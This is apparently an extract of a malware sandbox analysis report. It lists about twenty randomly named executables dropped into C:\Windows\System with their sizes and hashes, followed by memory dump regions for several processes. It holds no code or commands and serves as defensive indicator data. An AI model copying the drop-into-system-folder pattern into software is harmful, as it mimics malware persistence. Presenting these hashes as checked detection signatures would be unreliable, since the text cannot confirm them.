be4c977e7e33581c1dc0b54af352f548d52b8e9987d403cb5c10ca28a3db728435a174233924586f7ec995e1c2276170a77126c49ca5cba3d83511871028687b

Download Submit
C:\Windows\System\bOOzjsy.exe

Filesize
1.7MB

MD5
bd0a811e9805dc579fcc416c0b1ac7ea

SHA1
123a66e20b6516cfd9fbd2e130a94df594255eca

SHA256
8fcf4dc5080c5059ecc389e87425ac4c763074f911d946e380cf9dea1296ca89

SHA512
9efe5aaf5942923fbf087425cdd59d8a21ca8c8b5d2559c4132cfc1304daef1747ca0e09ad5fcd1026716ff35f854df6561e6fd9993bff71b46da97a4e542bc7

Download Submit
C:\Windows\System\dPgiobq.exe

Filesize
1.7MB

MD5
2c7497edb438e61e40fecb1d733e3c4b

SHA1
88ca3d40847efb08a40ebee8e341695ae3262208

SHA256
578493e5885b64a14a6fa32feb9e28a7573e057947ff2579466baf9489571cfc

SHA512
142542309f2b687ef2e133460e0bb8cb4c68a2afc92c9be764217a4ef0092d4acfdfbfb620c052a72db064d4be9d7a6c3d68f71d611629126f76cb45602035ad

Download Submit
C:\Windows\System\dksGUpo.exe

Filesize
1.7MB

MD5
cb8973057310dbcea3e92fc101a0a64b

SHA1
7e76d55a2e573dbb167d839097d1ec4ef45fd092

SHA256
2540b94333e6b4d84d409e69a90b4357f4cb290d5635d51d5a6c1e32093a2b03

SHA512
7009b9d82a489eeeb8e235c6c601b4535b1498fe94d32edbcd0e2a8d8a0685e693637c1494aba8db46272140d21b75e8890494cf7ee3acad86140a1b16b5dddd

Download Submit
C:\Windows\System\fGYNKat.exe

Filesize
1.7MB

MD5
1ad71316c1dfdfb8304759d09c432c17

SHA1
506f64e8f4ab22228bd50d5ee88add38033b15ac

SHA256
b51ce2e7e8b2db3098902533547be9e22828537abd6d856e955125d9ed6b93b5

SHA512
7b2bdf10f7166d6bb645e820dda6d53682498a84c72686f48a07368f4f8906a164fe9d5c3f0707ea982b6a8f15ceb305f7eddaa65e434beb72a665326ad9c165

Download Submit
C:\Windows\System\gUcfvHw.exe

Filesize
1.7MB

MD5
3e8d72a2b189f4b25a5d6052bf23406f

SHA1
669d66e8b631b8d327ce4c289cdb65a8590a8ba2

SHA256
a9bd2c5f9675a144a4f21c60f34e01428c5e0de3989c617fb6e797e13edf87a2

SHA512
7bd97135fe819bd036f710a6b46e3d30c5bb8f52cb5c38146713d6142a1e62738aa24d0a0ce0dab6fad9a5633620be8c1786ad2c4ccf0b10a7132156f27958e0

Download Submit
C:\Windows\System\ggJpztA.exe

Filesize
1.7MB

MD5
7210fddda8b2e05d3a33bfad71fb8b89

SHA1
d9aab2d88b8ad2f68b1aa2a5f3507b1392406143

SHA256
d84f995a08e320b7ad38c999cf4f435aec3e245ad008e6d29a18c99de625255f

SHA512
64d889519fa943c589f3b04ce0728d42c64729ec1fafb72f8134cbf77c2471af2770119f6bb42b4b8e2d1ac1981bc9af499b614dd59c5e33837f64e71eebbef9

Download Submit
C:\Windows\System\goWwXeY.exe

Filesize
1.7MB

MD5
4ad03bec548f7ed81ecb33ab2f18d78f

SHA1
cc87006ee4b5341d1223fd51e0c8bb7d69aedc2d

SHA256
f0e89f4bbe8e71ee9a8ee7b2aa2842b565c5515213fc57c6b4cbcb0d722cdae7

SHA512
ddbfcb1513809529d81e7dc648de9af3cea383dc0a1ed5760e3d5e0c4627cbb504368098347b873a431f5fd36933754b86f03510e114bfe278a8ac31a46b73ac

Download Submit
C:\Windows\System\hOZtWZX.exe

Filesize
1.7MB

MD5
15ce9972317c27f24e877ae596c4cde6

SHA1
7d70c21b065629dea7f8451d908ecaadbe11978c

SHA256
d44ed86a4c7ed2a0536994d2d5263d9515ee821809a35c4b38b3ef9b742d27ca

SHA512
ad3e63166b85054bde41ecb98cd33dcccf3520b239f42fd155dbf7a1f4fcdae597877501127842399e40a866bba1c007adf18cda715ea3f8c25955cc3afec5d2

Download Submit
C:\Windows\System\kKOOHfZ.exe

Filesize
1.7MB

MD5
937a467fb128c8288cca5e29135bc1e3

SHA1
da47526ca91987258386c54a485d12a4ad596635

SHA256
8483bb138dd1326dc28679c831d4ae4a79dd3440d4433b37b68e9e12a8db69ad

SHA512
79bdb74676729e9721218d246c5225fa0a2e085b2f471734b8c58c10beba441d0375bf5d64e356fadf90d6b5e788328fdce905e42cb38b873373a7ecac7135d6

Download Submit
C:\Windows\System\onYZmgh.exe

Filesize
1.7MB

MD5
a0765d176f32a56c7efb139b25e66fc4

SHA1
6c9330abebc749caa147137c1eee1e1375fc927a

SHA256
eb5c0dec34989556c86d3a345beaee06e221f8b115ff3ad4e2249151a75388d5

SHA512
b9d7bd99e11359984f9f6865d74ffd7a90df88b4e1e2515830d6b587f1bca33d2930968eaff96eb5d8529b0eda20945b4312fea09a223eabbdc3fd987b0dc3ad

Download Submit
C:\Windows\System\opeNpbh.exe

Filesize
1.7MB

MD5
2e71a6257326204a691f4d84799d3d62

SHA1
d6bff0763f43eae11686b7ae23ca04480a962ab1

SHA256
4140c517e84ff38b29eca2678523f2c167339fa458e2d8234494d4c63a8b3986

SHA512
dd4bced33e910d1b66a60077a8f7826104b4c2f275d9cbac17ad4111b98444434e8dc725094533be4ce299fe1684547f55133e594554b6bae83f0cab66ed9224

Download Submit
C:\Windows\System\pmPBwjE.exe

Filesize
1.7MB

MD5
8281f33803a4879ecffecba74f1ef985

SHA1
c0b8ac1d741546e66ae7f24c7b2f47db35755d12

SHA256
eac20ce4c3e90244c790fa6bb4a7ebc2a55eb92dc548ae9acd0ec8a957b1a2ec

SHA512
8fadb2336baa009cb865282d49c57d79ce4a1a504818cfc72700a765bda508906cbb0c2c0b89637f70ff2b8cfc10b021b319e927868390b6f5dfe459ceb31a58

Download Submit
C:\Windows\System\tDlEcYE.exe

Filesize
1.7MB

MD5
cec6bbfb57cee5fbd29a29429aa895ab

SHA1
360a8ccbc5aa3e2dbeccee4a11ffb461a2d28381

SHA256
954e48951bc46eeb7c082b630faeea15ba190f5a9669ffa2cb5d09a72b38acd3

SHA512
5ea1268b58ed1f3e27bd27f7b9cfb9421b64c747c4848b1edc9a6fa01482b59d797a543fb2b347f6c3d64ec8623beac4f587df0ef044a3432b154d81dd6eefc7

Download Submit
C:\Windows\System\vWVYuWC.exe

Filesize
1.7MB

MD5
f700f55285ea4f9dc83065140cf0500c

SHA1
4a27ce7c5861cef628f60385697fcbbb5c006502

SHA256
2c91d9fb237422bffdb5b9726d063fc8455f939d86098e130441b8cb9af051f7

SHA512
f50a2c6800a2c44d31bc49346ebf60095c26f4a271c69a4393800d28f45407cf28081b5be60aca441174de553ebb9c41f474126f947094023f6e558701c62e6a

Download Submit
C:\Windows\System\vlZCaKL.exe

Filesize
1.7MB

MD5
723c0c404696bb8e7e14d5e3448768f1

SHA1
cf998cae8dce8a47f29f2f4c2266a8075e4d734e

SHA256
f8fe14d50d7abfe0e3d3c57930ed283c9987ec59f88c4eb4c511f29e458d028c

SHA512
8e1ae0cf0725a139a510bd5c5902f8980a7c946d807373ec6bf017d61d1f66351f4775194ef06f4413cb2d4fbdbb3389942d0717219ae07fc7ab0c0ccd92c191

Download Submit
C:\Windows\System\wsowCVd.exe

Filesize
1.7MB

MD5
ea01f61fa623b9a5437efa72932039a4

SHA1
2238b19d11c7b6bd496bb83af5950a724847786a

SHA256
60856a688b09546076daa383355f651b813933cc4905209a940874fc76174602

SHA512
d759ecb96d8cbff4bd821efdb023c75a8b33e351846a11f4c2bece27f38c95d9f27e84c4e3c0a8bdbabe40811ee599b79c5d9a15b61f3744f487db6edf881275

Download Submit
C:\Windows\System\xSwOOxW.exe

Filesize
1.7MB

MD5
7b6b920061fd3af432ff37548270afb5

SHA1
d03f749118fa9e54158dac8433d817e16c96c214

SHA256
a766eda94384dbf2e2caf4b664321a6e33033302f9b545596d7559d219cd75b6

SHA512
7522bf10b9809ad1e5233880afcd222fa85a373c2a0b9113abc668de9571de3358bd58e99e90e0af071c892abfa6b5831963bd9d022452c86cc70c63d14f2cb6

Download Submit
C:\Windows\System\zJeBOFP.exe

Filesize
1.7MB

MD5
1cb293df4a2310fb3808a24efcbda213

SHA1
6b00477894e4c56c1b616f49c02861e673612b7f

SHA256
09c91d2917f672917494a0fe7943489a4c4c12265b5950091ba163eba6715f04

SHA512
40ef24c9d6235ecd4368d14720a974ab6b7f5f4eb0fa881787677dbe595501e8d20cbd5180875de394a5b5ea1f8f9a803e26f7e828b87c2e633787529526fc7c

Download Submit
C:\Windows\System\zSYOWJq.exe

Filesize
1.7MB

MD5
4f4c1b17f356cbc8214620fb19943453

SHA1
0ea7f23368fb15c0414478b228224a7b66f7809d

SHA256
df3fe53d0c9c5f062ad24e86ccd721c17e45f5c9b2f0bb9f81455a3b7bf33aa1

SHA512
ecd5f5e1602484f2fe75fd548baf29aa2bf89865d0fda36007b2a2db890de006516aeb86c488d0edf869d1472a2cc5f33f99022460d5ddc96d7edc12859e798e

Download Submit
memory/336-132-0x00007FF740CC0000-0x00007FF7410B2000-memory.dmp

Filesize
3.9MB

Download
memory/916-6186-0x00007FF7FDFC0000-0x00007FF7FE3B2000-memory.dmp

Filesize
3.9MB

Download
memory/916-186-0x00007FF7FDFC0000-0x00007FF7FE3B2000-memory.dmp

Filesize
3.9MB

Download
memory/1332-442-0x00007FF7B4510000-0x00007FF7B4902000-memory.dmp

Filesize
3.9MB

Download
memory/1332-6336-0x00007FF7B4510000-0x00007FF7B4902000-memory.dmp

Filesize
3.9MB

Download
memory/1548-6398-0x00007FF6A3A70000-0x00007FF6A3E62000-memory.dmp

Filesize
3.9MB

Download
memory/1548-1195-0x00007FF6A3A70000-0x00007FF6A3E62000-memory.dmp

Filesize
3.9MB

Download
memory/1920-6195-0x00007FF7FAFB0000-0x00007FF7FB3A2000-memory.dmp

Filesize
3.9MB

Download
memory/1920-378-0x00007FF7FAFB0000-0x00007FF7FB3A2000-memory.dmp

Filesize
3.9MB

Download
memory/2088-379-0x00007FF6F17F0000-0x00007FF6F1BE2000-memory.dmp

Filesize
3.9MB

Download
memory/2088-6288-0x00007FF6F17F0000-0x00007FF6F1BE2000-memory.dmp

Filesize
3.9MB

Download
memory/2400-232-0x00007FF779B40000-0x00007FF779F32000-memory.dmp

Filesize
3.9MB

Download
memory/2400-6237-0x00007FF779B40000-0x00007FF779F32000-memory.dmp

Filesize
3.9MB

Download
memory/2660-6338-0x00007FF76DBA0000-0x00007FF76DF92000-memory.dmp

Filesize
3.9MB

Download
memory/2660-1702-0x00007FF76DBA0000-0x00007FF76DF92000-memory.dmp

Filesize
3.9MB

Download
memory/3040-1851-0x00007FF908620000-0x00007FF9090E1000-memory.dmp

Filesize
10.8MB

Download
memory/3040-127-0x0000024EEE0B0000-0x0000024EEE0C0000-memory.dmp

Filesize
64KB

Download
memory/3040-67-0x00007FF908620000-0x00007FF9090E1000-memory.dmp

Filesize
10.8MB

Download
memory/3040-273-0x0000024EEE010000-0x0000024EEE032000-memory.dmp

Filesize
136KB

Download
memory/3040-106-0x0000024EEE0B0000-0x0000024EEE0C0000-memory.dmp

Filesize
64KB

Download
memory/3044-6405-0x00007FF6C3180000-0x00007FF6C3572000-memory.dmp

Filesize
3.9MB

Download
memory/3044-970-0x00007FF6C3180000-0x00007FF6C3572000-memory.dmp

Filesize
3.9MB

Download
memory/3116-808-0x00007FF7264D0000-0x00007FF7268C2000-memory.dmp

Filesize
3.9MB

Download
memory/3116-6373-0x00007FF7264D0000-0x00007FF7268C2000-memory.dmp

Filesize
3.9MB

Download
memory/3192-813-0x00007FF618A60000-0x00007FF618E52000-memory.dmp

Filesize
3.9MB

Download
memory/3192-6376-0x00007FF618A60000-0x00007FF618E52000-memory.dmp

Filesize
3.9MB

Download
memory/3700-1-0x00000228532E0000-0x00000228532F0000-memory.dmp

Filesize
64KB

Download
memory/3700-0-0x00007FF7A3E80000-0x00007FF7A4272000-memory.dmp

Filesize
3.9MB

Download
memory/3808-973-0x00007FF6D4320000-0x00007FF6D4712000-memory.dmp

Filesize
3.9MB

Download
memory/3808-6452-0x00007FF6D4320000-0x00007FF6D4712000-memory.dmp

Filesize
3.9MB

Download
memory/4084-6217-0x00007FF62CF80000-0x00007FF62D372000-memory.dmp

Filesize
3.9MB

Download
memory/4084-665-0x00007FF62CF80000-0x00007FF62D372000-memory.dmp

Filesize
3.9MB

Download
memory/4232-13-0x00007FF760BF0000-0x00007FF760FE2000-memory.dmp

Filesize
3.9MB

Download
memory/4300-6182-0x00007FF671B10000-0x00007FF671F02000-memory.dmp

Filesize
3.9MB

Download
memory/4300-1705-0x00007FF671B10000-0x00007FF671F02000-memory.dmp

Filesize
3.9MB

Download
memory/4352-102-0x00007FF72A6B0000-0x00007FF72AAA2000-memory.dmp

Filesize
3.9MB

Download
memory/4784-6407-0x00007FF671960000-0x00007FF671D52000-memory.dmp

Filesize
3.9MB

Download
memory/4784-764-0x00007FF671960000-0x00007FF671D52000-memory.dmp

Filesize
3.9MB

Download
memory/4924-328-0x00007FF7E4350000-0x00007FF7E4742000-memory.dmp

Filesize
3.9MB

Download
memory/4924-6280-0x00007FF7E4350000-0x00007FF7E4742000-memory.dmp

Filesize
3.9MB

Download
memory/5036-275-0x00007FF6BC010000-0x00007FF6BC402000-memory.dmp

Filesize
3.9MB

Download
memory/5036-6236-0x00007FF6BC010000-0x00007FF6BC402000-memory.dmp

Filesize
3.9MB

Download